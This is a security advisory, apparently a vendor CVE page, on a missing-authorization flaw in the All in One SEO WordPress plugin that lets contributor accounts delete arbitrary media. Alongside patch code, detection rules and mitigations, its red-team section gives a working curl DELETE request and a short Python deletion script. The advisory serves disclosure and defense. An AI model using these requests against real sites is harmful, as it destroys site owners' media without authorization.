CVE-2025-12847
Executive Summary
CVE-2025-12847 is a Missing Authorization vulnerability in the All in One SEO – Powerful SEO Plugin to Boost SEO Rankings & Increase Traffic WordPress plugin, affecting all versions up to and including 4.8.9. The flaw resides in the REST API endpoint /wp-json/aioseo/v1/ai/image-generator, which fails to verify that the authenticated user owns or has permission to delete the targeted media attachment. While the endpoint correctly checks for the edit_posts capability (granted to Contributors and above), it does not enforce ownership or additional authorization checks before deleting media attachments by ID. This allows authenticated attackers with Contributor-level access or higher to permanently delete arbitrary media attachments (e.g., images, PDFs) from the WordPress media library, provided they can guess or enumerate valid attachment IDs. The vulnerability has a CVSS score of 4.3 (Medium) due to the requirement for authentication and the need to know attachment IDs, but the impact is permanent data loss of media files.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the All in One SEO plugin, a widely used SEO tool for WordPress. The issue is not related to the underlying web server (Apache/Nginx) or WordPress core; it is purely a plugin-level authorization flaw. The plugin's REST API endpoint was designed to allow image generation via AI, but the deletion functionality was improperly scoped.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires Contributor-level or higher WordPress account
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: Low (A:L) – permanent deletion of media attachments
Threat Level: Medium. Exploitation requires an authenticated session with at least Contributor privileges, and the attacker must know or enumerate valid attachment IDs. However, the impact is permanent data loss, which can disrupt site content, branding, and user experience.
Deep Dive & Mechanics
The vulnerability is a classic Missing Authorization (CWE-862) flaw in the REST API endpoint /wp-json/aioseo/v1/ai/image-generator. The endpoint is intended to handle AI-based image generation, but it also exposes a deletion capability that does not verify ownership of the media attachment being deleted.
Root Cause:
- The endpoint checks only
current_user_can('edit_posts'), which is true for Contributors, Authors, Editors, and Administrators. - It does not call
wp_verify_nonce()or checkcurrent_user_can('delete_post', $attachment_id)to ensure the user owns the attachment or has thedelete_postscapability. - The
wp_delete_attachment()function is called directly without verifying the attachment's author or the user's permissions.
Attack Flow:
- Attacker authenticates with a Contributor-level account (or higher).
- Attacker enumerates attachment IDs (e.g., by scanning the media library or guessing sequential IDs).
- Attacker sends a DELETE request to
/wp-json/aioseo/v1/ai/image-generatorwith the target attachment ID. - The plugin deletes the attachment permanently (moves to trash or permanently deletes depending on WordPress settings).
- The media file is removed from the server and the database.
Affected Component:
- Plugin: All in One SEO (all-in-one-seo-pack)
- File: Likely
includes/rest-api/class-aioseo-rest-api.phpor similar - Endpoint:
/wp-json/aioseo/v1/ai/image-generator
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In the REST API callback
public function delete_image( $request ) {
if ( ! current_user_can( 'edit_posts' ) ) {
return new WP_Error( 'rest_forbidden', 'You do not have permission.', array( 'status' => 403 ) );
}
$attachment_id = $request->get_param( 'id' );
wp_delete_attachment( $attachment_id, true ); // No ownership check
return new WP_REST_Response( array( 'success' => true ), 200 );
}
Patched Code (Conceptual):
public function delete_image( $request ) {
$attachment_id = $request->get_param( 'id' );
$attachment = get_post( $attachment_id );
if ( ! $attachment || 'attachment' !== $attachment->post_type ) {
return new WP_Error( 'rest_invalid', 'Invalid attachment ID.', array( 'status' => 400 ) );
}
// Check if user can delete this specific attachment
if ( ! current_user_can( 'delete_post', $attachment_id ) ) {
return new WP_Error( 'rest_forbidden', 'You do not have permission to delete this attachment.', array( 'status' => 403 ) );
}
wp_delete_attachment( $attachment_id, true );
return new WP_REST_Response( array( 'success' => true ), 200 );
}
Key Differences:
- The patched version uses
current_user_can( 'delete_post', $attachment_id )which checks both capability and ownership. - It also validates that the post ID is actually an attachment.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with All in One SEO plugin <= 4.8.9
- Valid user account with Contributor role or higher
- Knowledge of at least one valid attachment ID (e.g., 123)
Exploitation Steps:
- Authenticate to the WordPress site (e.g., via wp-login.php or REST API authentication).
- Enumerate attachment IDs (optional, but useful for targeting specific files):
- Use the WordPress REST API:
GET /wp-json/wp/v2/media(requires authentication) - Or brute-force IDs sequentially.
- Use the WordPress REST API:
- Send DELETE request to the vulnerable endpoint:
curl -X DELETE 'https://target.com/wp-json/aioseo/v1/ai/image-generator' \ -H 'Content-Type: application/json' \ -H 'Cookie: wordpress_logged_in_...' \ -d '{"id": 123}' - Verify deletion by checking the media library or attempting to access the attachment URL.
Example Python Script:
import requests
target = "https://target.com"
session = requests.Session()
# Login first (simplified - use actual auth flow)
session.post(f"{target}/wp-login.php", data={"log": "contributor", "pwd": "password"})
# Delete attachment ID 123
resp = session.delete(f"{target}/wp-json/aioseo/v1/ai/image-generator", json={"id": 123})
print(resp.json())
Blue Team (Detection & Defense)
Detection:
- Monitor REST API requests to
/wp-json/aioseo/v1/ai/image-generatorwith DELETE method. - Alert on multiple DELETE requests from the same user in a short time window.
- Log all media deletion events via WordPress audit trail plugins.
Defense:
- Immediate: Disable the plugin or restrict access to the endpoint via
.htaccessor a Web Application Firewall (WAF) rule. - Long-term: Apply the vendor patch when available, or implement a custom plugin that adds authorization checks.
- Hardening: Ensure WordPress user roles are properly scoped; consider removing
edit_postsfrom Contributor role if not needed.
WAF Rule (ModSecurity):
SecRule REQUEST_URI "/wp-json/aioseo/v1/ai/image-generator" \
"id:1000001,phase:1,t:lowercase,deny,status:403,msg:'AIOSEO Image Generator Exploit Attempt'"
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP DELETE requests to
/wp-json/aioseo/v1/ai/image-generator - JSON payload containing
{"id": <number>} - User-Agent strings from automated tools (e.g., python-requests, curl)
Host IOCs:
- Missing media files in
/wp-content/uploads/directory - Database entries in
wp_postswithpost_type = 'attachment'being deleted - WordPress audit logs showing
wp_delete_attachment()calls without correspondingdelete_postcapability checks
Log Examples:
[2025-03-15 10:00:00] REST API: DELETE /wp-json/aioseo/v1/ai/image-generator
[2025-03-15 10:00:01] User 'contributor1' deleted attachment ID 123
Detection Engineering
YARA Rule
rule CVE_2025_12847_AIOSEO_Exploit {
meta:
description = "Detects exploitation attempts of CVE-2025-12847 in All in One SEO plugin"
author = "Valters IT"
date = "2025-03-15"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-12847"
strings:
$endpoint = "/wp-json/aioseo/v1/ai/image-generator"
$delete_method = "DELETE"
$json_id = /"id"\s*:\s*\d+/
condition:
$endpoint and $delete_method and $json_id
}
Sigma Rule
title: CVE-2025-12847 - AIOSEO Image Generator Unauthorized Deletion
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects DELETE requests to the vulnerable AIOSEO REST API endpoint
author: Valters IT
date: 2025-03-15
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'DELETE'
cs-uri-query|contains: '/wp-json/aioseo/v1/ai/image-generator'
condition: selection
falsepositives:
- Legitimate admin actions if plugin is used as intended (rare)
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2025-12847 - AIOSEO Image Generator Unauthorized Deletion Attempt";
flow:to_server;
http.method; content:"DELETE";
http.uri; content:"/wp-json/aioseo/v1/ai/image-generator";
http.request_body; content:"\"id\"";
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2025-12847;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical to operations.
- Restrict access to the vulnerable endpoint via
.htaccessor server configuration:<LocationMatch "^/wp-json/aioseo/v1/ai/image-generator"> Require all denied </LocationMatch> - Audit user roles – remove
edit_postscapability from Contributor role if not needed. - Monitor logs for unauthorized DELETE requests to the endpoint.
Long-term Fix:
- Apply the vendor patch when released (check plugin update channel).
- If no patch is forthcoming, implement a custom plugin that hooks into the REST API and adds proper authorization checks:
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { if ( $request->get_route() === '/aioseo/v1/ai/image-generator' && $request->get_method() === 'DELETE' ) { $attachment_id = $request->get_param( 'id' ); if ( ! current_user_can( 'delete_post', $attachment_id ) ) { return new WP_Error( 'rest_forbidden', 'Permission denied.', array( 'status' => 403 ) ); } } return $result; }, 10, 3 );
Workarounds:
- Use a Web Application Firewall (WAF) to block DELETE requests to the endpoint.
- Implement IP whitelisting for the REST API.
- Regularly backup media files.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.